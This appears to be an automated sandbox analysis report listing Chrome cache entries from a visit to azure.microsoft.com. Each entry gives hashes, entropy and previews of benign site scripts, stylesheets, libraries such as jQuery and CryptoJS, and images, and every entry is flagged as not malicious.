URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-mwf-new/main-light.min.ACSHASH3cb55a1b7e29cabded7d23377524b55e.js
Preview:	./!. MWF (Moray) v2.8.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. /..(function (global, factory) {. typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :. typeof define === 'function' && define.amd ? define(['exports'], factory) :. (global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, factory(global.mwf = {}));.})(this, (function (exports) { 'use strict';.. const ViewPort = {. XS: 0,. SM: 540,. MD: 860,. LG: 1084,. XL: 1400. };. const DetectionUtil = {. / eslint-disable no-useless-escape, unicorn/better-regex /. detectMobile(includeTabletCheck) {. if (includeTabletCheck === void 0) {. includeTabletCheck = false;. }.. /. detect if mobile and/or tablet device. * returns bool. */. let check = false;.. if (includeTabletC

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9849
Entropy (8bit):	4.327507698755054
Encrypted:	false
SSDEEP:	192:0OQGrOUjDYq5FEF/zj2wrEEegbSYCkK2MlXW2UqEcK9MwC1uAyI9J3Yullgubepd:DrzjDYq5FEFLjRJpKJxWrqhKGXy83Y39
MD5:	08C5F9CB4220E78FF920DAE3A7A8ED53
SHA1:	06063CC0DE00B0F698B07DEB66DDEDE5C60940E7
SHA-256:	E8B12100E50470AE78CA039D5662394A89E01C61FE8D4682DFE606E906E677ED
SHA-512:	0E7ED8C068FA14123041314F58C1473DF3EB60C3B6CE1A95B1A7066C1B151D5D7EC6F2D585B2862721DB164B9CE79E61DFB6FB0A53951504BB2235739B4C35F6
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/reimagine/clientlib-reimagine-base.min.ACSHASH08c5f9cb4220e78ff920dae3a7a8ed53.js
Preview:	(function() {. "use strict";.. var $uhfSkipToMain = $("#uhfSkipToMain");. var $acomHeaderSkipToMain = $(".azure-skip-nav");. var href = "";. if($uhfSkipToMain.length) {. href = $uhfSkipToMain.data("href");. href = href && href.replace("#", "") \|\| "mainContent";. } else if($acomHeaderSkipToMain.length) {. href = $acomHeaderSkipToMain[0].getAttribute("href");. href = href && href.replace("#", "") \|\| "main";. }.. $('.microsoft-template-layout-container').attr("id", href);.})();.// This function replaces popover data-island tags insertd in RTE via the popover plugin.(function () {. if (!window \|\| !window.ocrReimagine) {. return;. }.. window.ocrReimagine.PopoverRichTextPlugin = new class {. popoverRichTextMountSelector = '.popover-rte-mount';. popoverMountSelector = '[data-mount="popover"]';.. isPopoverComponentEnabled() {. return !!(window.mwf?.Popover);. }.. isIconComponentEna

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9539
Entropy (8bit):	4.727148213062689
Encrypted:	false
SSDEEP:	192:3lGqnBqPmIa4HAb1WWe13GgkNb2c6cN0JL2xl9zbIPcJtQIgGySjye1nGEZ8UhWW:3l/gPmIaP3U2gkNCcUJL2xlq0Jt6G351
MD5:	9EEA5F80FED74A300CCBBAA4DC41DF2A
SHA1:	08568A33ED8E994237DB997AFABF85723AD7E92D
SHA-256:	32E9B0F50257F381F3F1F3002B7DFD3AF138916429D53FAAC58FD9D0D1550CF4
SHA-512:	0114AC63E722B5628605986B2F2A483F2822CE043F988638DE3DEE202BA96D91B5AE723D585558540A123C9978BEC169C90FF98E567ED74053D57EDE7F1340DB
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-action.min.ACSHASH9eea5f80fed74a300ccbbaa4dc41df2a.js
Preview:	/*. This function is to add source parameter through JS in the hyperlink../.$(document).ready(function () {. const appendReferrerLinks = document.querySelectorAll('[data-isautoappendreferrer="true"]');. if (appendReferrerLinks.length) {. const lang = "/" + document.documentElement.lang?.toLowerCase();. let currentUrl = window.location.href.toLowerCase().replace(window.location.search, "").replace(lang, "");. if (currentUrl.endsWith("/")) {. .currentUrl = currentUrl.slice(0, -1);. }. const sourceLink = "srcurl=" + encodeURIComponent(currentUrl);. appendReferrerLinks.forEach(link => {. if (!link.href.includes("srcurl=")) {. const separator = link.href.includes("?") ? "&" : "?";. link.href = link.href + separator + sourceLink;. }. });. }.});./. Query Parameter Passthrough Utility. . This utility updates anchor tags in a web page by modifying the. * 'href' attribut

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 85 x 84, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlwrtlRG3Hxl/k4E08up:6v/lhPyi3H7Tp
MD5:	ED17E12478F780A8E014D3BA74BD5D3F
SHA1:	2D7F569F04439A702A08289A0962552259DFD726
SHA-256:	FFB6E8D207D201679BDB76B02AE310A0E9A7F915F9F65BCD06297DFF61057622
SHA-512:	54820C1A925A59E26C13715DA7EA4695127B863A438E8364170903A0E248D04A249550DD61CFF04769873942438656F560685AD0032412CE1E6EEF153FDB6F8E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...U...T.....\|......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	206
Entropy (8bit):	5.069458334688229
Encrypted:	false
SSDEEP:	6:U75xFzBUOLsNIVesQQIVYEYUBRa1dLMxPMN8iYpn3MQf:U7b9BU3KVesQdrYYRW6PMfsf
MD5:	131D95CF2EC0E511B73B264FA0C84059
SHA1:	10A0E2E7C996B7C482B64B953F0A443672A55CF7
SHA-256:	44A041D41D7F1E7C09AFBCF26471F2370C7182C915633049DDD27229DDBE2C33
SHA-512:	6D90DB6F32278A6507158107EC23F48C700DF46103F1860B9DE0305662A0755CBCF52EC1F35D9289A4BFEBF6C4C88D1E5C2C76E776C12BCB56A8051AA3343EB1
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/microsoft/components/content/inline-video/v2/cascade-media-player/clientlibs/site.min.ACSHASH131d95cf2ec0e511b73b264fa0c84059.css
Preview:	/!..To avoid conflict with MWF styles, added a wrapper class.. /.ump-container{max-width:100%}..ump-sm{width:800px}..ump-md{width:1200px}..ump-lg{width:1600px}..ump-xl{width:1920px}..ump-fill{height:100%}

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	726620
Entropy (8bit):	7.992646777013396
Encrypted:	true
SSDEEP:	12288:WrDhpCOmI+qhmeJ49nZzgVZ9wv1Q63bDPfEd6PgOPwAB1e5TjmGmY3gljtBZc:qFpX+qF49nZxvP7g+1gmYwrc
MD5:	BECC0A85B305AE2D75C8F70104DEF41C
SHA1:	14B9ECC6A61370E5EDCDE0F36A57E7F86CF278B0
SHA-256:	842A2675D9AFBDDAE9F338E8868F7CAC0B9B96E575BEE2085BFA06DE691D98DB
SHA-512:	4B69370C438276FB06BF5BE07FACAC91E3A6CD680C769208A01402C1057C4237EE0DB6BFA1416955B540D402FACB1918ED6603BADC8DF9EAFBAE3DABC458BA89
Malicious:	false
Reputation:	low
Preview:	RIFFT...WEBPVP8LG.../?.....$.m.e>+.u..L.r......AyW..!.$....t......&d...S>...#&.s$....GL2f.....T.w.3......=.5..3z&.l:.z..(B..5{&1.ar....~HE.p..\....=gQ-.U..9.v....9......4.M..#T7..V.bsV-lT...$;.d...A.KTkw%..f.'kwU...T...f...lWn..2........?.r..T..__.....o....HNl....."I....Z'.........h-~Z [.m...b...Yqy.../....G6qY.u#I.$G...H. )....Jk.^......Y......#wHt..>.q....9....:..v.B.$.JU..'.."..0...k...}#.HWu.MG.....(...g#.j....0e9.{..%u.K.bO..bG..e..w...x...@....u.&f...R..S~..I.Yd.."wb).+...H..........S.......7..E~....K.......f...........w.O.. .....R..H.h..v.....1..\O._h*.?A.@H@H........`....\|..B..6.p..&.P:.!....`..v3...TOTO.\|.0..........K Z....?......@-..1.c@...Q..........]..I.XA4]....f.01..rm..>...p}q..>.)D...^x.E!>...fwi.....1..I.....\|...De....so\?.=..&.l......~.....^U...y..s......U,.....6.b.v.q..8..N..........N;......bL...\.2....i...y......0....r.X....U....Wr.0s^.2K.4....Ds...........w;i.T=.k[..../;.!../k.G...1....[q...NU

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1999)
Category:	dropped
Size (bytes):	419611
Entropy (8bit):	4.980054379765907
Encrypted:	false
SSDEEP:	12288:qDxREkZQKdaFA/RIc3f+u2wc/WVKSjdJjfMNlR48tmbK+2pA9XDTotHd9:uREkZQKdaFA/RIc3f+Pwc/6KSj7fMNl/
MD5:	3CB55A1B7E29CABDED7D23377524B55E
SHA1:	5731994750E31D9CD11085570630EAC99DC65845
SHA-256:	0953ECFC1629CBBB80658EEC92D00BA89058F6862E5CD742A419412207088D3C
SHA-512:	646E5BDE377A885E321790BDF16E07324754C5670B707F1BE4BC11208E2F2E2644189CECE32BFB9C86D51C503F37053D54E1CCC627ECA92D29A20EF2955A69FB
Malicious:	false
Reputation:	low
Preview:	./!. MWF (Moray) v2.8.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. /..(function (global, factory) {. typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :. typeof define === 'function' && define.amd ? define(['exports'], factory) :. (global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, factory(global.mwf = {}));.})(this, (function (exports) { 'use strict';.. const ViewPort = {. XS: 0,. SM: 540,. MD: 860,. LG: 1084,. XL: 1400. };. const DetectionUtil = {. / eslint-disable no-useless-escape, unicorn/better-regex /. detectMobile(includeTabletCheck) {. if (includeTabletCheck === void 0) {. includeTabletCheck = false;. }.. /. detect if mobile and/or tablet device. * returns bool. */. let check = false;.. if (includeTabletC

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	39
Entropy (8bit):	4.2504143220263435
Encrypted:	false
SSDEEP:	3:6JRASKDeI+CK9To+:6fAveIyTo+
MD5:	D66C468F4CA17E83CCD97A4518B3E814
SHA1:	2E657440F653DA65E699AC9230D82FAEE414D8A5
SHA-256:	8E1CE663720F6AFB2DEE29B587D3F7559EA89BC622F966120C9F108172A5C866
SHA-512:	FC012A375F871892839D547D3FB3D38B58C2542B0F32FB005A7CADCA7ECD676D1626F3CE79E2DD24890B02162EF7C2B8A877049CE7865B9B83C7FFDA9C40FBBF
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-reimagine-page/clientlib-aem-styles.min.ACSHASHd66c468f4ca17e83ccd97a4518b3e814.css
Preview:	.xf-content-height{margin:0 !important}

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2270
Entropy (8bit):	5.143457190074302
Encrypted:	false
SSDEEP:	48:F9YfJse2HUjLY2H6knN2HUdrojs1WOioP4x4zuWb1p:7UQoaknkyupO/wx4lD
MD5:	71466B34E5515A90219D78F8E13B609B
SHA1:	AD1A515D373D08A66A5121FE248BE5648C07E534
SHA-256:	52EFB7BE976E0A4B617C597927120CBB6C58E8E7ED4C866A947D879D17433D69
SHA-512:	BA1649AC59F5AE5794977DF777DEA1830D10D45A1159D5F351D832EBEA630D6B5DF37BCA02A455168CD022C80028E6DCBE17A5BA69CC6B9491540329418E0E2D
Malicious:	false
Reputation:	low
URL:	https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/acom_social_icon_azure
Preview:	<svg aria-hidden="true" role="presentation" data-slug-id="azure" viewBox="0 0 256 256" xmlns="http://www.w3.org/2000/svg">.. <defs>.. <linearGradient id="azure_ab40b385-f958-420f-bfab-714be1677426-d9e3e844" x1="-960.606" y1="283.397" x2="-1032.511" y2="70.972" gradientTransform="matrix(1 0 0 -1 1075 318)" gradientUnits="userSpaceOnUse">.. <stop offset="0" stop-color="#114a8b"></stop>.. <stop offset="1" stop-color="#0669bc"></stop>.. </linearGradient>.. <linearGradient id="azure_f40af90d-72eb-49b3-94b2-2510f1071722-f8d86361" x1="-938.144" y1="184.402" x2="-954.778" y2="178.778" gradientTransform="matrix(1 0 0 -1 1075 318)" gradientUnits="userSpaceOnUse">.. <stop offset="0" stop-opacity=".3"></stop>.. <stop offset=".071" stop-opacity=".2"></stop>.. <stop offset=".321" stop-opacity=".1"></stop>.. <stop offset=".623" stop-opacity=".05"></stop>.. <stop offset="1" stop-opacity="0"></stop>.. </linearGradient>.. <linearGradient id="azure_e382d

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	431123
Entropy (8bit):	7.998998994551496
Encrypted:	true
SSDEEP:	6144:/GKWR0i+/SYkgxbWXdFAQx1eY/njnxAt+ooNrv7sREPk7NQ9M1kqbqM0XZHPLJ:eTRZ+qJsWN2G13/jlooJvDSNiM1m3dzJ
MD5:	1BB082999BE6B451D19A2717F2FB5B82
SHA1:	2FCAA707B756AD62856F7934BA041AAF1EC4A37A
SHA-256:	1D51D4019523058E1AF970AD8F4DD327CE056C949C9F18D0985BADF40E17D8D9
SHA-512:	FE694FE8D73E0C6A853D5D3D3F80E6C05FC8764E7808746DF694475D8A87A8A444A299D617FFD40773CC9505B14FB3A08A1C962E742415C286F3E3665C341598
Malicious:	false
Reputation:	low
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/371220-desktop-heroslim-hero-bg?resMode=sharp2&op_usm=1.5,0.65,15,0&wid=1600&hei=632&qlt=100&fmt=png-alpha&fit=constrain"
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D............J.....................Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@...x....pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma.........................fmdat.....jq...2.....$P...=....\.Va..g.....!.\|a.!....4..B....%..%....i...Z=.p7..Q.5..\..q....r..:H.!.,.].<.`!g>&H..A.\|..?..P.vegk#.Kd.;V...Yo.g.....jq.......2...D....S7D.....9......;.a.S.2-y.g..../?7F....M....}....U.(C..PF.(.w."=#"yrTL.6.G.Qt.m.2..uN.}.d~..}Y^...f.9.[.u:._...AVM....q.d .(&.d.nW...\|...&B..%w....L..M.....=l..~.w.RR.HI..;Zp.S......A.8.rG.....]...H.....t..I...dJ!p..S.C.&EY4..eBy.Bq"............>t.....AP.np$.%.2.9.f.>..#6..E......~..$0..#..pQVQ...rM.....Q@.GZ......,.....%..8.I(..th...kv.}........u...+]A@......0..6.A^.

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	downloaded
Size (bytes):	5006
Entropy (8bit):	5.254875250489264
Encrypted:	false
SSDEEP:	96:tYVv5eMnTpQA9CsC9MCCu2Axzwxf1QiEbyhTlZhZF4ntl:tOwMTpP9jUnN2Izwxf1hhTNZF4ntl
MD5:	2954890B89E77EADECA4558085241308
SHA1:	EE0E88A398434019AAA6EA8A38867494C585B31A
SHA-256:	06E35DF1A5074DA424B0FFB0BE44F5DAE4209C8C52F1F9C2FC53572509031831
SHA-512:	737CFA7B339504B4667D1AECD33C84F6E6FF9115CBA2C503126108D38B32326AE934BCC24F39116B3E6010D61489290DC9FB86B0625D9CC7082B426339F4E3F1
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/components/content/reimagine/atomic/tabs/v2/tabs/clientlib/sites.min.ACSHASH2954890b89e77eadeca4558085241308.js
Preview:	'use strict';class FilterPanel{constructor(e){this.WRAPPER_ELEMENTS={tabList:e.tabList,tabPanel:e.tabPanel};this.SELECTORS={tabsWrapper:".tabs-wrapper",activeTab:".tab.active",activePillItem:".tab-panel.active .pill-bar__item.active",cardCarouselContainer:".appsource-grid-container",tabRole:"[role\x3dtab]"};this.MAPS={wrapperElements:{tabList:e.tabList,tabPanel:e.tabPanel},tabInstances:[],filterTabData:window.appsource.filterTabData};this.STRINGS={};this.CONFIG={filterTab_urlKey:"filterTab",filter_urlKey:"",.selectedTab:"categories",selectedTabDefault:"categories",selectedFilter:"ai-machine-learning",selectedFilterDefault:"ai-machine-learning",requiredURLParams:["filterTab","categories","industries","product"],isPageLoad:!0,isTabClick:!1,popstate:!1};this.ELEMENTS={};this._updateCards=()=>{};this._updateURL=()=>{const a=new URL(window.location.href),b=this._createQueryParams();this.CONFIG.requiredURLParams.forEach(c=>{a.searchParams.delete(c)});a.searchParams.set(this.CONFIG.filterTab_

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	downloaded
Size (bytes):	6798
Entropy (8bit):	5.383941368080596
Encrypted:	false
SSDEEP:	192:2+ocdo4VYgB9G/0y/qhNJ5k4iflBDHndCjOGGWr:2+ocdo4B7G/0yyNSflhndCjOGGA
MD5:	1DABD5CC3F7B68C178B59EA74DC62947
SHA1:	B8DF9D8FD267B8B74325667DC97278CCC90A1464
SHA-256:	E49EFB0A75AF4995902362EA679A0FC4EB120A881A090CB8424D5CBD183436A2
SHA-512:	8C26E45CA37AC5DCCCC0C7BBCA92E0E8E11FB807A6D9A6916D5A0CC1CF198A7942DD5583C31ACBD1A11DDE004C252806D205E9CFDA7F494A6F7D5BBFA42920E4
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASH1dabd5cc3f7b68c178b59ea74dc62947.js
Preview:	'use strict';(()=>{function m(f){var e=G[f];if(void 0!==e)return e.exports;e=G[f]={exports:{}};return I[f](e,e.exports,m),e.exports}var I={1623:()=>{$(function(){function f(){-1!==document.cookie.indexOf("".concat("Cascade.AuthSSO","\x3d"))&&(document.cookie="".concat("Cascade.AuthSSO","\x3d; expires\x3dThu, 01 Jan 1970 00:00:00 UTC;"))}function e(){var a=function(){var d=document.cookie.match(/(^\|;\s)(Cascade.AuthSSO)=([^;])/);return d?(d=parseInt(decodeURIComponent(d[3])),!isNaN(d)&&d>n.DefaultAttempted?.n.SharedStateAttempted:n.DefaultAttempted):n.NotAttempted}(),c=!(!window.msauthRpsShare\|\|b.accountConstraint===w.AAD);if(a===n.NotAttempted\|\|c&&a!==n.SharedStateAttempted)!function(d){$("#".concat("cascadeauthsso")).remove();var g=document.createElement("iframe");g.src=d;g.setAttribute("width","0");g.setAttribute("height","0");g.setAttribute("border","0");g.setAttribute("frameborder","0");g.setAttribute("style","display: none");g.id="cascadeauthsso";document.body.appendChild(g)}(""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.327819531114783
Encrypted:	false
SSDEEP:	3:Aq7KKlMT9:AqeKWT9
MD5:	A8A3710424DC6E0DFF393C6964441BDB
SHA1:	E4978066791DD394BDDD174F2687A7CDD43442B2
SHA-256:	46CD047CC0D3D10776E2F50D4C9D55DB58BD97D7A95B7D691F53D4937C71CF00
SHA-512:	EE135EE50868E59853C8FE57A9471AE1FBBDE30A929D33B4A4D56200E70C93AFDFF0301EF7FEBC803258C2BA2DCBC183E632B2ADA1745D3C87C1EEB98E8DEE62
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/microsoft/components/content/universalheader/v1/universalheader/clientlibs/site.min.ACSHASHa8a3710424dc6e0dff393c6964441bdb.css
Preview:	[class*="z-"]{position:relative}

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138268
Entropy (8bit):	5.224497765711851
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7CisuMK/xw/:1f4Hu1I+Tw/
MD5:	5B85413B96AF340238B93068CDB641FB
SHA1:	D949C985DF4F80FAB0CF036A1DD86C63CA342F1F
SHA-256:	1B448C19C6DF1F2D15399A710A73BB3EC0C5233B571CDFAE9CCA315E6E13FB85
SHA-512:	5B7E26BB4C72A8D8EE6CD20EEEA354ADD396F74289BD3E42CD1D6C8A5D3FA1B190CC62B953CAF4FA38EFDA0983F90F937276C8797EB2E1BADC11F9F5161117CE
Malicious:	false
Reputation:	low
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (534)
Category:	dropped
Size (bytes):	3288
Entropy (8bit):	4.844125421768654
Encrypted:	false
SSDEEP:	48:3jndjqDCc6oq7zCE/5j/mj/FlqplzC7l+tj+6j+7bq/jzCd9QtjQAjQQHUqCqzCt:3jdNGKmlklm7dYjmd20tqmMA
MD5:	7677F65C1626AB1BDE509437776D4291
SHA1:	E51C5E64E5ED9D95FFA2BB31B821229F4502BDA9
SHA-256:	76607654EAFACC56092479AD570B118BE287CB2341711030CE47A88AAEC760D2
SHA-512:	5A110A93A5B34B11D371140D59738C5659F2A54614F84C4E683D115E50852DEC3640A8CEE6F394D8584684E0C355C249F5636329B0AC03E73949DEC9423C2652
Malicious:	false
Reputation:	low
Preview:	'use strict';const oc={event:{cookiesPostConsent:{name:"oc.event.cookiesPostConsent",lastdispatched:void 0,dispatch:function(){oc.event.cookiesPostConsent.lastdispatched=Date.now();document.dispatchEvent(new Event(oc.event.cookiesPostConsent.name))},onChanged:function(a){"function"==typeof a&&("undefined"==typeof oc.event.cookiesPostConsent.lastdispatched?document.addEventListener(oc.event.cookiesPostConsent.name,()=>{a()}):a())}},marketSelector:{name:"oc.event.marketSelector",lastInit:void 0,dispatch:function(a,.b){oc.event.marketSelector.lastInit=Date.now();var c=document.createEvent("CustomEvent");c.initCustomEvent(oc.event.marketSelector.name,!0,!0,{eventName:a,value:b});document.dispatchEvent(c)},onInit:function(a){"function"==typeof a&&("undefined"==typeof oc.event.marketSelector.lastdispatched?document.addEventListener(oc.event.marketSelector.name,b=>{"oninit"===b.detail.eventName&&a()}):a())},onSelect:function(a){document.addEventListener(oc.event.marketSelector.name,b=>{"onsel

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text
Category:	downloaded
Size (bytes):	697
Entropy (8bit):	4.9687589816244095
Encrypted:	false
SSDEEP:	12:UHevFvKrbON5NtK/efIBbd/FqYT/ZTkAxtK/efb+RAd/FjDhQAThtK/efKXEnHz7:KWFNvs/ew//Fqu/ljxs/eD+R0/FjtQ+V
MD5:	D2F3218A374A1305FE262FC4BAEEDDD1
SHA1:	103721E516DC86A8EC433C6EA7C227BF7D954A55
SHA-256:	F76208F59F7E18EFB405361893B45B9DD7D0759BB5329AC664F39C02384982CD
SHA-512:	011062B7E77B5BBCACC6391C6E9873D4221E3474276F56D36EF29B78EA9E7C1C6C2021DA3D80D79C30E1675AC0CE62DC397C52051C7C1478054C02AF27BC7077
Malicious:	false
Reputation:	low
URL:	https://azure.microsoft.com/etc.clientlibs/onecloud/clientlibs/clientlib-vars/publisher.min.ACSHASHd2f3218a374a1305fe262fc4baeeddd1.js
